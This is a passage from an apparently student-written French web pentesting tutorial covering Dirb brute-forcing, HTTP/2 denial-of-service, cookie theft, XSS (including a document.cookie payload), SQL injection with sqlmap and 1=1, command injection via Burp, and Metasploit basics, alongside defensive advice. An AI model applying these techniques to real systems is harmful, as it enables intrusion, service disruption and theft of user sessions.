Comme vous pouvez le voir au début de la commande, nous avons spécifié que les mots devaient être générés entre 1 et 4 caractères et l’outil nous annonce que le dictionnaire fera 391 MB ! Pour information, les sites Web demandent en général un mot de passe avec au minimum 8 caractères. Je vous laisse donc lire la taille du dictionnaire si l’on souhaitait des mots de 1 à 8 caractères :

Il est donc certain que cet outil vous permettra d’avoir un dictionnaire le plus complet au monde à la seule condition d’avoir une très grosse station de stockage... Heureusement que les concepteurs de Dirb ont pensé à ce détail et nous ont fourni des dictionnaires par défaut.
Utiliser un dictionnaire présent dans le répertoire de Dirb
Comme nous l’avons vu précedemment, créer un dictionnaire peut vite devenir fastidieux. C’est pour cette raison que nous allons nous baser sur les dictionnaires présents dans le répertoire de Dirb. Il en existe plusieurs mais ici, nous allons utiliser le dictionnaire common.txt :

Encore une fois, l’utilisation d’un dictionnaire est très personnel. Il vous suffira donc de changer le dictionnaire et de lancer la commande afin d’obtenir un résultat. Comme vos pouvez le voir sur la capture d’écran ci-dessus, Dirb nous donne des pages cachées que nous n’aurions pas forcément trouvé tout seul. Cet outil est donc essentiel lors d’un pentest Web.

Pour ceux qui préfèrent les interfaces graphiques aux lignes de commandes, il existe l’équivalent de Dirb en GUI (Graphical User Interface) qui se nomme Dirbuster.

Ce dernier permet, lui aussi, d’attaquer un site par dictionnaire. Il suffit de rentrer l’adresse IP du site ainsi que le répertoire où est stocké la liste de mots visible en figure [fig:dirbuster].

L’utilisation de Dirb et Dirbuster est fondamentalement la même, mais ils ont chacun leurs avantages.

Tout d’abord pour la question de rapidité, Dirb est en single-threading alors que Dirbuster est en multi-threading.
La différence entre single et multi est qu’en single, on ne peut exécuter les tâches qu’une par une de la manière suivante :

Alors que le multi-threading, lui, permet de faire plusieurs tâches en même temps en ordonnant les tâches en plusieurs threads, de la manière suivante :

Thread1:

[fig:courbe-tikz]

Thread2:

[fig:courbe-tikz]

Thread3:

Il faut noter que la différence ne se voit qu’avec des processeurs multi-coeurs, qui peuvent faire plusieurs tâches à la fois.
Donc pour la rapidité d’exécution, si nous avons un bon processeur, Dirbuster surpasse largement Dirb. Seulement, Dirbuster demande toujours une interaction graphique, alors que Dirb, étant une CLI (Command Line Interface), permet l’automatisation, donc on perd certes du temps sur l’exécution des tâches mais on gagne du temps sur le reste.
Certes, Dirb vous fournira les fichiers tel que robots.txt mais ne fournira pas le code source des pages. N’hésitez pas à les observer car elles contiennent beaucoup d’informations.

Troisième partie

L’exploitation des informations via des failles

A la suite de la phase de récupération d’informations, nous allons chercher des failles au sein de la machine cible. Certains outils de la précédente étape ont déjà pu nous aiguiller sur le type de failles à exploiter. Nous allons donc vous expliquer dans cette partie quelles sont les principales failles de sécurités que vous pourriez rencontrer et comment les exploiter.

Actuellement, le déni de services(DoS) ou déni de service distribué (DDoS) est utilisé afin de paralyser un réseau ou un site web pour plusieurs raisons et cela peut vite coûter chère. Cependant, bloquer un service signifie mobiliser du personnel de sécurité afin de résoudre le problème et donc, réduire l’attention sur un autre service qui lui présente des failles permettant une infiltration dans le réseau. Dans ce dossier, nous allons vous parler des DOS basés sur HTTP v2.

Avant d’expliquer en quoi consiste les failles HTTP v2, nous allons comprendre le fonctionnement de ce protocole.
Dans l’objectif de gagner en latence et en performance, HTTP v2 a été conçu et a réussi son pari. En effet, cette nouvelle version fait en sorte de réduire le nombre d’échanges entre un client et un serveur via le multiplexage de flux. De cette manière, un simple GET suffit pour obtenir une page Web. En plus de réduire le nombre d’échanges, HTTP v2 va compresser les entêtes HTTP et envoyer des contenus non-demandés qui seront stockés dans le cache (le Push) afin que le client puisse accéder beaucoup plus rapidement aux ressources. Malheureusement, tout ceci a permis l’ouverture au DOS. Nous allons vous en présenter trois qui sont :

• Slow Read Attack

• HPACK Bomb

• Dependency Cycle Attack

Il en existe d’autres mais ces trois là ont été présentées lors de la Black Hat de 2016 et doivent donc être connues.

Ce type d’attaque consiste à exploiter le protocole TCP à notre envie. En effet, dans TCP, il y a une "Window" qui consiste à dire au serveur notre capacité en réception de données. Ainsi, si nous réduisons la Window à une toute petite valeur et que nous le reproduisons plusieurs fois en même temps, notre programme va finir par laisser ouvert un certain nombre de sockets et ainsi créer de la latence voire même rendre le site indisponible. Pour effectuer ce DOS, le langage de programmation SCAPY peut être utilisé afin de modifier les requêtes.

Comme nous l’avons vu plus haut, HTTP v2 compresse les entêtes HTTP sous forme binaire dans le but de gagner en ressource. Ce système se nomme le HPACK. L’attaque HPACK Bomb a pour but d’amplifier la taille du header car elle contient un tableau de taille dynamique ! Ainsi, nous pouvons rajoutons du contenu dans cette partie dynamique pour augmenter sa taille, jusqu’à obtenir la valeur de compression de base qui est de 4KB. Ensuite, grâce au mutliplexage de requêtes on va envoyer ce header 16 mille fois qui est le nombre maximal d’envoi en mutliplexage sur HTTP2. Un calcul rapide nous annonce qu’avec un envoi, le serveur va devoir décompresser 64 MB de données. La décompression comme la compression requièrent beaucoup de ressources au niveau de la RAM. Il ne reste alors plus qu’à faire une boucle en envoyant, en même temps, la plus grosse quantité de requêtes sur ce serveur avec ce header modifié et compressé afin d’effectuer un DOS.

La nouveauté de HTTP v2 est aussi le fait que le client puisse donner une priorité et un ordre aux éléments qui vont être traités par le serveur. Ce système se nomme "dependency". Chaque ordre a donc un numéro de priorité de ressources qui est associé à un numéro de mémoire. Ainsi, si deux éléments ont le même numéro de mémoire, le processus va reprendre son exécution à partir de ce point et donc créer une boucle infinie. Il est alors tout à fait imaginable de réaliser cette attaque couplée à un HPACK Bomb pour réaliser un très gros DOS.
Comme vous l’aurez compris, un DOS se base sur la structure des protocoles et peut attirer très vite l’attention de la sécurité informatique ciblé. Ces failles ne sont surtout pas à négliger lors de la réalisation d’une attaque.

Il est désormais devenu courant de se retrouver face à ce message lorsque l’on souhaite entrer dans un site Web :

Cette page nous donne des informations concernant l’utilisation des cookies par le site Web et la possibilité qui nous est permise de pouvoir paramétrer l’utilisation de ces cookies. Force est de constater que la plupart du temps les utilisateurs qui se retrouvent face à cette page ignorent la signification d’un cookie et cliquent immédiatement sur accepter sans prendre le temps de se renseigner sur ce terme. En réalité, un cookie est une donnée envoyée par un serveur Web à votre navigateur. Ces données sont envoyées lorsque vous prenez la décision de visiter un site Web par exemple et cela permet au site en question de garder en mémoire des informations concernant vos habitudes de navigation, vos pseudos, vos mots de passe, vos paniers etc. Ces cookies sont stockés sur votre disque dur en tant que fichier. Ce fichier ne contient que du texte et est donc en principe totalement inoffensif. Malgré cela, certains logiciels antivirus nous mettent en garde contre des cookies provenant de certains sites. En d’autres termes, lorsque vous visitez un site ayant recours à des cookies, vous envoyez des informations à ce site afin qu’il soit en mesure d’améliorer votre expérience en vous proposant des services adaptés à vos centres d’intérêt.

En règle générale, les cookies peuvent être soit temporaires, soit permanents. Les cookies temporaires sont désignés sous le terme de cookies de sessions et sont utilisés uniquement dans une session. Ces cookies sont supprimés lorsque l’on ferme notre navigateur. Les cookies permanents quant à eux sont utilisés dans différentes sessions de navigation et ils ne disparaissent que lorsque l’on décide de les supprimer ou bien lorsque leur dates d’expirations arrivent à terme. Parmi ces différents types de cookies, il existe les cookies dits internes et les cookies tiers. Les cookies internes sont mis en place par le site que vous consultez. Les cookies tiers quant à eux sont créés par un site différent de celui que vous consultez. Par exemple, de nombreux sites ont un bouton “J’aime” sur lequel on peut cliquer dessus. En cliquant sur ce bouton, un cookie pouvant être utilisé par Facebook s’activera.

1. Le protocole HTTP permet de transférer des pages Web. A l’aide d’une requête HTTP, le navigateur appelle une page provenant du serveur Web. Pour parvenir à la page www.velizy.fr/index.html, le navigateur se connecte au serveur www.velizy.fr en envoyant la requête suivante: GET /index.html HTTP/1.0 Host: www.velizy.fr

2. Le serveur répond en transmettant au navigateur une réponse HTTP. Cette réponse permet de demander au navigateur de conserver des cookies. Afin de stocker un cookie, le serveur va ajouter dans la réponse HTTP une ligne Set-cookie. Cette ligne est en réalité une requête qui a pour but de demander au navigateur de stocker la chaîne nom=valeur.

3. Cette chaîne sera par la suite renvoyée dans toutes les prochaines requêtes envoyées au serveur s’il y a existence du cookie. HTTP/1.0 200 OK Content-type: text/html Set-cookie: nom=valeur

En théorie, tous les cookies ont un nom et une date d’expiration. Lorsque le site Web que vous consultez envoie un cookie, il prend l’initiative de demander à votre navigateur de stocker le cookie en question jusqu’à la date et l’heure inscrits dans le fichier texte. Il existe une loi dans laquelle il est stipulé que les cookies doivent être supprimés au moins une année après leur création. Malgré cela, certains cookies sont conservés bien plus longtemps. Pour l’anecdote, il est à savoir que des cookies ont été créés dans l’optique de durer 7000 ans.

Comme nous l’avons dit précédemment les cookies sont des données envoyées par un serveur web au navigateur de notre ordinateur. Or, les cookies peuvent contenir des informations que l’on qualifie de sensibles (pseudo, mot de passe). Par conséquent, il serait fort regrettable que quiconque puisse intercepter ces données. Malheureusement, certaines méthodes permettent d’intercepter les cookies et nous allons ici en lister quelques unes. La première méthode que nous allons expliquer se prénomme détournement de session. Cette attaque est essentiellement réalisée dans des lieux publics contenant des espaces WIFI non chiffré. Elle consiste en la lecture des communications d’autres utilisateurs sur le réseau en ayant recours à des "renifleurs de paquets". Cette lecture n’est possible que lorsque le trafic réseau n’est pas chiffré. En d’autres termes, pour éviter cette attaque, il suffit de chiffrer la connexion entre le serveur Web et l’ordinateur de l’utilisateur. Pour cela, on peut utiliser par exemple le protocole HTTPS. La seconde méthode permettant d’intercepter des cookies est l’écriture de script directement dans les sites. Ces scripts ont pour but de demander au navigateur d’envoyer les cookies à des serveurs malveillants. Cette attaque est utilisée sur les sites qui permettent aux utilisateurs de publier du contenu HTML. Pour ce qui est de ce type d’attaque, chiffrer les cookies avant leur envoi sur le réseau n’a pas de grande utilité. En revanche afin de rendre inaccessible un cookie depuis l’exécution d’un script, il est possible d’utiliser le drapeau HttpOnly qui est une option introduite en 2002 sur le navigateur internet explorer.

Le client d’un site Web n’a pas en sa possession de nombreux moyens permettant d’éviter qu’on intercepte ses cookies. En effet, il ne peut que prendre la décision de désactiver les cookies. Malheureusement, de nombreux sites Web ont recours à des cookies pour fonctionner convenablement.

Par conséquent, la sécurisation du vol de cookies est essentiellement à la charge du créateur du site Web. Il doit prendre en compte de nombreux détails afin de sécuriser au mieux son site et donc ses clients. Pour cela, le créateur du site Web doit éviter de stocker les données en lien avec l’authentification (pseudo ,mot de passe) en clair, mettre en place des identifiants de session aléatoires lors de chaque requête HTTP, effacer les cookies après leur utilisation. Il doit aussi chiffrer totalement, où au moins partiellement les cookies et surtout avoir recours à des protocoles sécurisés comme HTTPS.

Une faille XSS est une faille présente sur un site web qui permet l’exécution de code HTML ou JavaScript dans des variables mal protégées. Il ne faut pas confondre les failles XSS avec les failles SQL. En effet, la faille XSS s’exécute côté client sur le navigateur et non pas côté serveur sur une base de données par exemple.
Il existe deux types de failles XSS:

• Failles XSS réfléchies (non permanentes)

• Failles XSS stockées (permanentes)

Nous verrons au cours de cette section ces deux types de failles, la structure d’une faille XSS ainsi que son utilisation par un pirate.

La faille XSS non permanente est la faille la plus utilisée et sûrement la plus facile à pratiquer. En effet, l’attaquant n’a qu’à injecter du code dans l’input d’un formulaire et le faire apparaître à l’écran. Cette attaque ne nécessite donc en aucun cas un stockage contrairement au XSS stocké qui est présenté ci-dessous. Cette faille peut par exemple être présente lors de l’intervention d’un champ "rechercher" sur un site:

En regardant le code PHP, on peut s’apercevoir qu’il n’y a aucune vérification sur le paramètre $_GET. Cela veut dire que nous pouvons insérer n’importe quel code lors de la requête:

On constate à travers cette capture que notre script JS est passé en paramètre. On obtient donc la pop-up suvivante sur notre navigateur:

Contrairement à ce que nous pourrions penser, le fait que la charge utile soit exécutée côté client est bel et bien un risque pour l’utilisateur. En effet, le client possède plusieurs informations secrètes et utiles pour l’attaquant, il a également des extensions dans son navigateur qui peuvent avoir des vulnérabilités.

Jusque-là, nous avons seulement affiché une pop-up dans la navigateur de la victime, mais nous allons aller un peu plus loin et voler les cookies de l’utilisateur sur le site vulnérable. Pour cela, nous utiliserons la propriété cookie du document (sous réserve que les cookies ne soient pas protégés):

document.cookie

En effet, si on exécute le code <script>alert(document.cookie);</script> dans la barre de recherche du site on obtient la chose suivante:

On récupère bien le cookie de l’utilisateur avec qui on est connecté. On pourrait donc imaginer une attaque par le biais de cette faille:

Ce type de vulnérabilité se produit lorsque les données fournis par un utilisateur sont stockées sur un serveur (fichier, base de données...) afin d’être par la suite affichées à chaque ouverture du site. Nous pouvons prendre l’exemple des forums dans lesquels un utilisateur peut par exemple injecter un script qui sera visible par tous et donc provoquer des failles chez un grand nombre d’utilisateurs. On se rend rapidement compte que cette faille est véritablement dangereuse. Grâce à celle-ci, on peut par exemple récupérer les cookies des utilisateurs ou faire exécuter du code malveillant à notre insu. On peut également récupérer les cookies de tous les utilisateurs qui consultent la page contenant le code du pirate.

DOM est l’abréviation de Document Object Model-based. Ce type d’attaque a lieu directement dans le navigateur de la victime sans passer par le serveur web. La page web ne change pas, en revanche le code côté client qui est contenu dans la page s’exécute de manière inopinée, et cela est engendré par les modifications malveillantes apportées à l’environnement DOM. Cette attaque a lieu dans la grande majorité des cas dans les nouvelles applications web car une grande quantité de code javascript est exécutée dans le navigateur de l’utilisateur.

Afin de détecter la présence d’une faille XSS, on peut commencer par taper dans un formulaire (commentaire, moteur de recherche, chat…) le code suivant:
<b>Faille</b>
Si le message suivant est affiché: Aucun résultat trouvé pour le terme “Faille”, c’est qu’une faille XSS est présente.
Si le message suivant est affiché: Aucun résultat trouvé pour le terme <b>Faille</b>, cela signifie que le site est convenablement sécurisé.
A la suite de la première étape décrite ci-dessus, il est possible d’utiliser un script Javascript dans un champ de formulaire afin d’être convaincu de l’existence d’une faille XSS. On peut par exemple avoir recours au script suivant:
<script > alert (Attention ce site est vulnérable face aux attaques XSS) </script >
Afin de savoir si le site web est vulnérable aux attaques XSS, il suffit donc de taper ce script dans un formulaire, si aucun message ne s’affiche, dans ce cas vous ne risquez pas de vous retrouver face à une faille XSS sur le site en question, en revanche si le message “Attention ce site est vulnérable face aux attaques XSS” s’affiche, dans ce cas là il est préférable pour vous de changer de site.

La solution permettant de se protéger face à une attaque XSS est de convertir les données. Pour ce qui est du langage PHP, il est courant d’avoir recours aux fonctions htmlentities() et htmlspecialchars() qui permettent de convertir les caractères spéciaux en entités HTML. De ce fait, les données ne seront plus interprétées par le navigateur, mais simplement affichées.
Conclusion :
La faille XSS est l’une des failles qu’on retrouve le plus couramment sur le web. Cela est expliqué par le fait que cette faille permet un grand nombre d’attaques. On peut par exemple grâce à cette faille détourner un formulaire afin de rediriger l’utilisateur vers un site malveillant. Cela permet en autres de voler les cookies d’un utilisateur et donc par la même occasion d’obtenir son login et son mot de passe. Heureusement, cette faille peut être aisément évitée en prenant la peine de traiter correctement les données en entrée.

Le SQL est un langage de programmation orienté vers les bases de données. Ces bases de données contiennent en général des identifiants et des mots de passe qu’il faut absolument sécuriser. Lors d’une connexion via formulaire sur une page Web, l’utilisateur doit remplir les champs libres qui seront ensuite comparés aux comptes dans la base de données. Les schéma ci-dessous peut faciliter la compréhension du fonctionnement d’authentification :

Depuis un navigateur, nous allons donc remplir le formulaire de connexion qui va être envoyé vers le serveur Web qui contient un serveur PHP. Ce dernier va traiter le code PHP pour récupérer (le plus souvent en POST) et faire une requête SQL vers la base de données afin de vérifier que les données correspondent. Si c’est le cas, le serveur PHP laisse l’utilisateur entrer sur le site.
Voici la structure d’une base de données :

Dans cet exemple, la base de données se nomme "Cloud" et contient plusieurs tables : "Categories", "Fichiers", "Suivi" et "Users". Ensuite, chaque table contient des colonnes qui sont ici dans la table "Users": "email", "idU", "mdp", "nom", "Statut". On comprend donc que les données de chaque utilisateurs sont stockées dans la colonne Users. Le PHP va donc essayer de faire correspondre ce qui a été rentré dans le formulaire et ce qui est présent dans cette table afin de valider ou non la connexion.
Une injection SQL consiste à injecter du code SQL dans une requête SQL dans le but de la détourner et donc de modifier le résultat que cette requête était censé afficher. Cela permet également d’afficher du contenu qui était en toute logique dissimulé (table des users avec les identifiant et mot de passe qui vont avec). Enfin, une insertion SQL permet d’ajouter, de supprimer ou de modifier une base de données.

Les failles SQL peuvent être exploitées via l’outil SQLMAP. Ce dernier va tenter d’injecter des SELECT dans la base de données et de nous fournir un résultat. Pour mieux comprendre le concept, nous pouvons essayer SQLMAP sur des sites spécialisés en test SQL. Sur celui-ci, nous pouvons tester au niveau de l’URL si une injection est possible :

Comme on peut le voir, pour tester la sécurité de la base de données aux injections SQL, il nous a juste fallu ajouter, dans l’URL, une apostrophe après le GET du site web. Ainsi, la base de données nous envoie un message d’erreur. Cette erreur nous indique que les données tapées par les utilisateurs ne sont pas vérifiées du côté serveur.

Passons maintenant à l’outil SQLMAP en rentrant la commande suivante :

L’option “-u” va nous permettre d’entrer une URL et le “–dbs” va nous permettre d’afficher les bases de données. Le résultat nous est envoyé sous cette forme :

Il existe alors deux bases de données qui sont acuart et information_schema. Etant donné que notre site cible est Acuart, nous allons visualiser ses tables :

A l’intérieur de la base de données, il existe une table users que nous allons dévoiler :

Dans notre cas, les seules informations dont nous avons besoin sont : name, pass et uname :

Il existe donc un utilisateur test que nous allons essayer pour nous connecter :

Nous avons réussi à nous connecter via une faille SQL.

Cependant, nous aurions pu éviter de passer par SQLMAP. En effet, si nous avions voulu juste rentrer dans un site exploitable, nous aurions juste pu injecter nous-même une condition. Pour cela, nous allons nous rendre sur un site créé par l’IUT de Blagnac proposant un CTF en ligne. Nous allons donc aller dans la partie SQLi pour essayer une injection visible en figure [fig:sqli].

Cette injection va nous permettre d’ajouter une condition dans la requête qui sera toujours vraie car 1 sera toujours égal à 1. On pourra alors se connecter et entrer dans le site comme on peut le voir sur la figure [fig:sqlicon].

Bien entendu, le mot d’ordre est vigilance. Il est utile pour tout administrateur de vérifier constamment les données entrées par l’utilisateur. Les paramètres d’URL et les formulaires (connexion, recherche) sont des potentiels risques d’attaque par injection. Grâce au langage PHP, il est maintenant possible d’avoir recours à des librairies qui auront le rôle de préparer des requêtes SQL avant leurs exécutions. Ces librairies permettent entres autres de valider les données des requêtes. PDO est la plus connue de ces librairies. Cette fonction est directement inclue dans la classe MySQLi pour les nouvelles versions de PHP. Il est utile de camoufler les messages d’erreurs qui peuvent s’afficher sur votre site (comme avec l’exemple de l’apostrophe dans l’URL ci-dessus) dans la mesure où ces messages permettent aux hackers d’avoir des informations sur votre base de données. Afin d’éviter les caractères spéciaux, il est pratique d’utiliser la fonction :
mysqli_real_escape_string()
Enfin, il est préférable d’utiliser des comptes utilisateurs qui ont des droits limités. Cela permet d’empêcher l’éventuel hacker de modifier ou supprimer des éléments de la base de données.
Conclusion

Environ un site sur cinq est vulnérable aux injections SQL. Cela est dû au fait qu’une simple erreur peut compromettre la sécurité de la base, des utilisateurs et même du serveur. Pour cette raison, c’est l’une des failles les plus dangereuses pour les applications ayant recours à une base de données. Plus inquiétant encore, les injections SQL sont en augmentation depuis qu’il existe des programmes d’injections SQL automatisés, qui permettent aux hackers de prendre possession d’encore plus de données que par le passé. Heureusement, de simples techniques permettent se protéger de ce type de faille.

Un proxy est un élément du réseau fonctionnant au niveau de la couche 7 (application) du modèle OSI. Un proxy peut être considéré comme un intermédiaire entre deux personnes surtout quand celles-ci ne parlent pas le même langage. Cela signifie qu’un proxy va intercepter toutes les requêtes entre un serveur et un client. Nous allons dans cette partie exploiter ce concept afin d’exploiter les failles d’un formulaire et contourner des sécurités via l’outil Burpsuite.

Burpsuite est un logiciel complet permettant d’effectuer des tests d’intrusion ou de vulnérabilités (XSS, CSRF) sur des applications Web. Cet outil peut s’utiliser comme un proxy Web dans le but de chercher et capturer toutes les requêtes Web des utilisateurs au sein d’un LAN. Ce dernier inclut notamment des procédés automatiques dans le but de travailler plus rapidement et plus efficacement.
Nous allons donc voir son fonctionnement.

Burpsuite se présente sous la forme d’une interface graphique:

Nous avons 3 types d’outils dans Burpsuite:
Les outils centraux:
- Proxy : Permet de configurer un proxy dans le but d’intercepter des requêtes web ou de les modifier avant de les transmettre au serveur web.
- Site map : Permet d’avoir une vue arborescente du trafic observé.
Les outils manuels:
- Intruder: Émission en masse de requêtes HTTP/HTTPS.
- Repeater: Permet la modification avant l’envoi de nos requêtes.
Les outils automatiques:
- Spider: Cet outil permet la récolte d’informations passives comme la détection de ressources et la collecte active.
- Scanner: Il va rechercher automatiquement des vulnérabilités (via le mode passif ou actif).
Les autres outils:
- Sequencer: Permet de tester l’existence aléatoire des sessions avec jetons (token).
- Decoder: Conversion URL/HTML/Base64/Hexa/Octal/Binaire/GZip + hashes.
Burpsuite permet également la configuration de macros dans le but d’automatiser des tâches. De plus, l’avantage de Burpsuite réside dans la possibilité d’une configuration multiple, mais également, dans ses nombreuses fonctionnalités permettant d’aider les pentesteurs les plus expérimentés.
Ainsi, dans le cas d’un audit de sécurité ou d’un CTF, nous pouvons utiliser cet outil pour capturer le trafic des utilisateurs et ainsi récupérer des mots de passe ou des cookies de connexions pour se connecter à des sites (Gmail, Facebook,...).

Dans le cas où nous avons un formulaire de connexion, nous pouvons utiliser le mode Intercept de Burpsuite pour tester la sécurité de ce dernier, et ainsi injecter ou non du code malveillant comme le montre ce schéma :

Pour cela, il faut aller dans la catégorie proxy et choisir l’adresse IP du proxy à utiliser:

Dans notre cas, nous prendrons toutes les adresses IP de notre interface web (d’où le “*”) sur le port 8080. Ensuite, sur un ordinateur client, il suffit de préciser dans le navigateur le proxy à utiliser:

On peut donc commencer les tests. Il faudra mettre Burpsuite sur le mode “intercept on” pour intercepter toutes les requêtes.
Prenons le cas de ce formulaire en HTTP :

Par exemple, nous allons entrer un username et un password :

Comme nous pouvons le voir sur Burpsuite, on récupère la requête envoyée au serveur :

On peut alors la modifier avant de la transmettre au serveur :

Dans notre cas, nous allons essayer d’injecter la commande "ping" pour tester la sécurité du champ “password”.

Si on scrute le réseau avec Wireshark:

Le ping fonctionne bien. Cela veut dire que l’on peut injecter n’importe quelle commande dans le champ password. On pourrait par exemple injecter un reverse shell pour prendre le contrôle à distance la machine.

Metasploit Pen Testing tool est un projet Open Source (sous Licence BSD modifiée) destiné à la sécurité informatique. Le but de ce projet est de rechercher des vulnérabilités ou des informations sur des systèmes automatisés de données ainsi que d’aider à la pénétration et au développement de signatures pour les IDS.
L’outil que nous allons étudier ici est "Metasploit Framework" qui est un sous projet de Metasploit Pen Testing tool. C’est le sous projet le plus connu car il permet le développement et l’exécution d’exploits (logiciels permettant d’exploiter à son profit une vulnérabilité) contre une machine distante.
A la base, cet outil a été écrit en Perl. A la suite de quelques mises à jours, l’outil a complètement été réécrit en Ruby. Cet outil a été conçu par HD Moore en 2003 et il est désormais maintenu par la société Rapid7. C’est un outil très puissant permettant à des chercheurs en sécurité de travailler sur des potentielles vulnérabilités. Cependant, comme la plupart des outils de sécurité informatique, Metasploit peut être utilisé à la fois de manière légale et à la fois pour des activités illégales.
Aujourd’hui, le projet metasploit est hébergé sur le github de la société Rapid7, ce qui permet à des utilisateurs indépendants d’y développer des modules d’exploitation pour des vulnérabilités logicielles et de les poster dans le projet Git. Ainsi, chaque utilisateur peut contribuer au développement de cet outil. Cependant, avant chaque publication, la société Rapid7 teste et vérifie le bon fonctionnement de l’exploit avant de le mettre à disposition sur github.
Comme nous l’avons dit précédemment, Metasploit possède un Framework ce qui facilite le travail des contributeurs puisqu’ils peuvent utiliser des fonctions de ce dernier pour développer leurs exploits. Enfin, ce qui fait la “force” de Metasploit est qu’il peut regrouper beaucoup d’outils très intéressants tels que Nmap, Hydra ou encore John the ripper, le tout dans une seule console. Cela permet de centraliser beaucoup d’outils de Kali linux.

La particularité de Metasploit est qu’il possède une architecture modulaire, ce qui permet un développement plus facile, une amélioration progressive du programme. De plus, les modules peuvent être rechargés sans redémarrage de l’application, ce qui est très pratique pour le développement.
Comme nous pouvons le constater sur ce schéma, il y 3 grandes parties qui composent Metasploit. La première est la librairie. Cette dernière permet de regrouper un grand nombre de fonctions et de programmes dans le but de constituer une API. Ainsi, lors de l’écriture d’un exploit ou d’un payload, le développeur n’aura qu’à connaître l’API de Metasploit pour son développement.
Metasploit utilise un système de librairie pour stocker ses fichiers. La librairie est composée de :
- Rex – C’est la librairie principale regroupant la gestion des sockets, protocoles, encodeurs, SSL, SMB, HTTP, XOR, Base64, Unicode.
- MSF::Core – Cela permet de fournir l’API basique.
- MSF::Base Fournit l’API " amicale "et il fournit des API simplifiées à utiliser dans le framework.
Metasploit peut s’utiliser sur plusieurs interfaces:
- Msfconsole : Permet d’avoir une console Metasploit au sein d’un shell, elle est considérée comme l’interface la plus puissante et la plus complète.
- MsfCli : Permet d’utiliser Metasploit en ligne de commande ce qui peut être très pratique pour l’intégrer dans un script.
- Msfweb: Permet d’accéder à l’ensemble des outils de Metasploit sur une interface web. Facile d’utilisation.
- Armitage: Interface GUI de Metasploit. Cet outil est développé par Raphel Mudge et il regroupe tous les outils de Metasploit sous forme d’interface graphique. De plus, il supporte msfcli ainsi que msfconsole.
L’architecture de Metasploit peut également être représentée en modèle objet :

Tous les modules de Metasploits sont des classes Ruby. On peut donc en déduire d’une part que d’après ce schéma, la classe Modules hérite d’une classe spécifique. Cette classe spécifique hérite de la classe Msf::Module et enfin, tous les modules se partagent une API commune.
D’autres part, on peut accéder aux modules depuis le terminal avec la commande suivante:

Le Framework Metasploit fournit un support des bases de données utilisant PostgreSQL. Cette dernière stocke des informations, telles que les données de l’hôte, les résultats de scans comme nmap et les résultats d’exploitation. Cela peut être très utile si on fait beaucoup d’exploits ou de tests d’intrusions sur des machines.

Cependant, cette base de données n’a pas besoin d’être lancée pour exécuter Metasploit mais elle est très utile pour stocker des logs de scan ou d’exploit.
Pour lancer PostgreSQL sous Kali linux, on utilise la commande suivante:

On peut si on le souhaite, créer une base de données en local pour Metasploit. Pour initialiser une base de données, on utilise la commande suivante:

Ainsi, cette commande va créer plusieurs utilisateurs avec des mots de passes et créer deux bases de données : msf et msf_test. On peut également vérifier la configuration de notre base données qui se trouve dans le fichier /usr/share/metasploit-framework/config/
database.yml:

On peut voir que la base de données a bien été lancée :

On peut voir qu’il y a 1’utilisateur qui a été créé msf" ainsi que 3 catégories "development" , "production" et "test". Ce fichier permet de récupérer les informations de connexion pour se connecter à la base de données.
En lançant Metasploit, on peut utiliser la commande db_connect pour se connecter à notre base de données :

Cette commande nous indique que nous pouvons nous connecter soit en rentrant directement l’utilisateur, le mot de passe, l’adresse IP et la base de données, soit en renseignant un fichier de connexion à utiliser comme le fichier database.yml.
Nous allons par exemple renseigner la méthode avec le fichier :

On vérifie qu’on est bien connecté à la base de données :

Une fois connecté à la base de données, on peut réaliser quelques actions intéressantes. Par exemple, on peut stocker le résultat d’un scan nmap avec la commande db_nmap :

Pour l’exemple, on scanne une machine virtuelle de notre réseau local dans laquelle il y a des services ouverts potentiellement vulnérables.
La commande hosts permet de voir quelles sont les machines que nous avons scannées et qui sont stockées dans la base de données comme indiqué sur la figure [fig:meta-hote]

La commande services permet de voir tous les services scannés avec nmap voir figure [fig:services-scan]

Il est également possible de pouvoir exporter notre base de données en format .xml avec la commande suivante indiqué dans la figure [fig:xml-db]

Metasploit possède également une autre base de données pour la recherche d’exploit. En effet, Metasploit donne la possibilité de rechercher une vulnérabilité d’un service directement avec une ligne de commande qui est searchsploit.

En effet, Metasploit se connecte à la base de données de Rapide7 ou d’expoit-db qui est un site qui répertorie beaucoup d’exploit. Comme nous l’avons vu en introduction, les utilisateurs peuvent contribuer à Metasploit en créant des modules, des payload ((charge utile) c’est le morceau du code que nous voulons que le système exécute) ou des exploits.

Ainsi, ces utilisateurs contribuent à la base de données communautaire de Metasploit. Par exemple, si un utilisateur écrit un exploit pour une vulnérabilité, il peut la faire partager à toute la communauté. De ce fait, cet exploit sera disponible directement dans Metasploit. Cependant, chaque contribution est vérifiée par l’équipe de Rapid7 avant de la rendre disponible dans la base de données.

Sous Kali Linux, si on veut exploiter cette base de données pour chercher un exploit sur FTP on va procéder comme ceci indiqué dans la figure [fig:exploit-db]

Cette commande nous retourne une liste des exploits disponible pour le service FTP. On remarque également que ces exploits sont stockés dans le répertoire /usr/share/exploitdb/plateforms.

Si on le souhaite, on peut faire une recherche en fonction de la version du service :

Cela permettra de cibler plus facilement l’exploit à utiliser. Enfin, il faut savoir que tous les exploits présentés avec la commande searchsploit ne sont pas tous des exploits utilisables avec Metasploit. En effet, tous les exploits codés n’ont pas été faits pour Metasploit. On peut y retrouver des exploit en python ou encore en C. Cependant, tous les exploits compatibles avec metasploit auront la mention (metapsloit) dans leur nom lors de la recherche avec searchsploit.

Comme nous l’avons dit en introduction, Metasploit utilise des modules pour fonctionner. Dans cette partie, nous allons voir comment les utiliser dans le cadre d’un audit de sécurité ou sur un CTF. La partie des modules est décomposée en 5 sous-parties qui sont :
- Exploit: Un exploit est le moyen par lequel un pentester exploite une faille, un défaut dans un logiciel ou un service. Ainsi, un attaquant peut utiliser un exploit pour attaquer un système d’informations et générer ainsi un résultat que les développeurs n’ont pas pris en compte. Les exploits les plus courants sont le débordement de tampon (buffer overflow), les vulnérabilités Web (injection SQL, défaillances XSS) et enfin les erreurs de configuration dans un logiciel.

- Payloads: Un payload ou charge utile est un code qui sera exécuté par le système. Dans cette partie, on peut y retrouver tout type de payload comme le reverse shell, c’est le fait de créer une connexion depuis la cible vers l’attaquant. De plus, Metasploit permet de regrouper les payloads en fonction du système d’exploitation (OS) de la machine victime.

